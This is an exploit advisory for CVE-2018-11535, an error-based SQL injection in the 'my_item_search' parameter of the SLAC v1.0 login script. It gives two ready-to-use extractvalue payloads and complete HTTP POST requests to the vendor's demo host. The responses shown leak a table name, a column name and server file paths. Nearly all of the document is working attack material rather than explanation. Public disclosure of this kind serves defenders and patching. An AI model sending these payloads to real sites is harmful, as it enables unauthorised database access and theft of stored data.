# # # # #
# Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection
# Date: 29-05-2018
# Vendor Homepage: https://sitemakin.com/login-script-demo
# Exploit Author: Divya Jain
# Version: v1.0
# CVE: CVE-2018-11535
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # #
# Proof of Concept:
////////////////////////////////////////////////
SQL Injection in "my_item_search" parameter
////////////////////////////////////////////////
# Affected Link: demo.com/login-script-demo/users.php
# Parameter "my_item_search" is exploitable using xpath injection
# Payload 1:
my_item_search=1337'and extractvalue(5566,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
# Payload 2:
my_item_search=1337'and extractvalue(5566,concat(0x7e,(select column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -
# POC 1 (Result: Table_name)
/////////REQUEST//////////
POST /login-script-demo/users.php HTTP/1.1
Host: sitemakin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demo.com/login-script-demo/users.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
Connection: close
Upgrade-Insecure-Requests: 1
my_item_search=1337'and extractvalue(5566,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -&submit=Search
/////////RESPONSE//////////
<form method="post" action="/login-script-demo/users.php">
<select class="new-url2 form-control" name="my_item">
<br />
<b>Warning</b>: PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
<br />
<b>Warning</b>: main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
<option value="all">All</option>
# POC 2 (Result: Column_name)
/////////REQUEST//////////
POST /login-script-demo/users.php HTTP/1.1
Host: sitemakin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demo.com/login-script-demo/users.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
Connection: close
Upgrade-Insecure-Requests: 1
my_item_search=1337'and extractvalue(5566,concat(0x7e,(select column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -&submit=Search
/////////RESPONSE//////////
<form method="post" action="/login-script-demo/users.php">
<select class="new-url2 form-control" name="my_item">
<br />
<b>Warning</b>: PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
<br />
<b>Warning</b>: main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
<option value="all">All</option>
################################################################################
